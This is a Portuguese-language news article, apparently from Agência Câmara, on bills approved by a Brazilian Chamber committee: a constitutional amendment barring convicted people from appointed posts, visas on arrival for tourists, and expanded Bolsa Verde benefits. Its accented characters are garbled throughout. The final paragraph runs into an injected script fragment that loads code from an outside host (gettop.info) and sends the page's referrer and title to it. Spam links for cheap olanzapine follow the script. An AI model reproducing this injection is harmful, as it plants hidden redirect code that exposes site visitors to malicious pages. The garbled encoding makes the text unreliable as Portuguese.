A proposta, de autoria do Senado, serA? analisada agora por comissA?o especial e tambAi??m pelo plenA?rio, em dois turnos de votaAi??A?o
AgA?ncia CA?mara
A proposta (PEC 284/13) proAi??be que uma pessoa condenada judicialmente possa exercer cargo de confianAi??a ou seja nomeado para emprego pA?blico. A proposta altera artigo da ConstituiAi??A?o Federal que trata dos princAi??pios que regem a administraAi??A?o pA?blica. O relator foi o deputado Beto Albuquerque, do PSB do Rio Grande do Sul.
“Olha, Ai?? fundamental esse tipo de medida para vocA? ampliar o ambiente Ai??tico de ocupaAi??A?o de funAi??Ai??es pA?blicas. Se o cidadA?o Ai?? inelegAi??vel, nA?o pode disputar eleiAi??A?o porque fere os dispositivos da Lei de Ficha Limpa, igualmente ele nA?o pode ocupar cargos de confianAi??a, nA?o pode ser secretA?rio de Estado, ele nA?o pode ser ministro, ele nA?o pode ser assessor, se os cargos forem de livre nomeaAi??A?o em todos os poderes”.
A proposta, de autoria do Senado, serA? analisada agora por comissA?o especial e tambAi??m pelo plenA?rio, em dois turnos de votaAi??A?o.
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A ComissA?o de ConstituiAi??A?o e JustiAi??a tambAi??m aprovou projeto (PL 178/07), que permite a concessA?o de visto de turista na entrada em territA?rio brasileiro. Os estrangeiros beneficiados sA?o os dos Estados Unidos, CanadA?, MAi??xico, JapA?o, AustrA?lia e Nova ZelA?ndia. Pela proposta, o Poder Executivo poderA? estender essa facilidade a turistas de outros paAi??ses. Atualmente, o visto Ai?? concedido apenas em representaAi??Ai??es diplomA?ticas brasileiras no exterior.
O projeto segue para anA?lise do Senado se nA?o houver requerimento para votaAi??A?o no plenA?rio da CA?mara. O autor da proposta, deputado Otavio Leite, do PSDB do Rio de Janeiro, acredita que, com a proposta, o nA?mero de turistas norte-americanos no Brasil deverA? duplicar em pouco tempo. A proposta altera o Estatuto do Estrangeiro (Lei 6.815/80), uma lei de 1980.
Outra proposta aprovada pela ComissA?o (PL 3398/12) amplia a relaAi??A?o de beneficiA?rios do Programa de Apoio Ai?? ConservaAi??A?o Ambiental. O chamado Bolsa Verde busca incluir famAi??lias em situaAi??A?o de extrema pobreza que desenvolvam atividade de conservaAi??A?o ambiental em projetos de reciclagem de lixo, coleta e destinaAi??A?o adequada de resAi??duos sA?lidos. Na justificativa, o autor da proposta, Ronaldo Zulke, do PT do Rio Grande do Sul, explica que o Bolsa Verde compAi??e a estratAi??gia do Plano Brasil Sem MisAi??ria, e oferecerA? R$ 300 a cada trA?s meses Ai??s famAi??lias beneficiA?rias por seus trabalhos de conservaAi??A?o ambiental. O cartA?o do Programa Bolsa FamAi??lia vai poder ser utilizado para recebimento do benefAi??cio. Segundo o governo federal, atAi?? 2014 serA?o atendidos atAi?? 74 mil beneficiA?rios.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; http://tekniksipilsuwitno.mhs.narotama.ac.id/2018/03/15/olanzapine-cost-canada/cheap olanzapine onlinehttp://pole-handicap-autonomie.com/?p=28524
